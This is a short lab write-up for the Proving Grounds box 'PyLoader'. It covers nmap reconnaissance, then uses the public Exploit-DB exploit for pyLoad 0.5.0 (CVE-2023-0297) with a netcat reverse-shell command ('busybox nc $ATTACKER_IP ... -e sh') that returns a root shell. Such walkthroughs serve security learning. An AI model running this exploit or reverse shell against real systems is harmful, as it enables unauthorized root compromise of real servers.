# PyLoader Writeup - Proving Grounds

> Easy Linux box running pyLoad 0.5.0 on port 9666, exploited through the CVE-2023-0297 pre-authentication remote code execution. pyLoad runs as root, so the exploit lands a root shell directly with no privilege escalation.

- **URL:** https://hackindex.io/writeups/pyloader
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** pyload, rce, cve-2023-0297
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

PyLoader runs the pyLoad download manager on port 9666. pyLoad 0.5.0 is vulnerable to CVE-2023-0297, a pre-authentication remote code execution. The application runs as root, so the exploit lands a shell directly as root with no privilege escalation.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
# 9666/tcp open  http    CherryPy wsgiserver (Cheroot/8.6.0)
```

SSH on 22 and a CherryPy web server on 9666. Browsing to `http://$TARGET_IP:9666` redirects to a pyLoad login page. pyLoad is an open-source download manager written in Python.

## Exploitation

### pyLoad pre-auth RCE (CVE-2023-0297)

pyLoad 0.5.0 is vulnerable to CVE-2023-0297, a pre-authentication remote code execution through the `js2py` engine. A public exploit is on Exploit-DB.

```bash
searchsploit -m 51532
```

Start a listener, then run the exploit against the pyLoad instance with a reverse shell command.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
python3 51532.py -u http://$TARGET_IP:9666 -c "busybox nc $ATTACKER_IP $ATTACKER_PORT -e sh"
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 36132
# id
# uid=0(root) gid=0(root) groups=0(root)
```

pyLoad runs as root, so the pre-auth RCE returns a shell directly as root. No privilege escalation is required.

Related

## References

- [CVE-2023-0297](https://nvd.nist.gov/vuln/detail/CVE-2023-0297) - pyLoad pre-authentication code injection via the js2py engine leading to remote code execution.
- [Exploit-DB 51532](https://www.exploit-db.com/exploits/51532) - pyLoad 0.5.0 pre-auth RCE exploit (CVE-2023-0297).